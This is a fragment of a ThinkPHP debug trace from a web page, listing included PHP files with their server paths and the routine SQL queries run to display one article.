  139. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  140. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  141. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  142. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  143. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  144. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/runtime/temp/c935550e3e8a3a4c27dd94e439343fdf.php ( 31.50 KB )
  145. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.000692s ] mysql:host=127.0.0.1;port=3306;dbname=wenku;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000877s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000336s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000287s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000474s ]
  6. SELECT * FROM `set` [ RunTime:0.000193s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000563s ]
  8. SELECT * FROM `article` WHERE `id` = 892345 LIMIT 1 [ RunTime:0.001547s ]
  9. UPDATE `article` SET `lasttime` = 1786161464 WHERE `id` = 892345 [ RunTime:0.002538s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 64 LIMIT 1 [ RunTime:0.000257s ]
  11. SELECT * FROM `article` WHERE `id` < 892345 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.000420s ]
  12. SELECT * FROM `article` WHERE `id` > 892345 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.000342s ]
  13. SELECT * FROM `article` WHERE `id` < 892345 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.001041s ]
  14. SELECT * FROM `article` WHERE `id` < 892345 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.002682s ]
  15. SELECT * FROM `article` WHERE `id` < 892345 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.001767s ]
0.108781s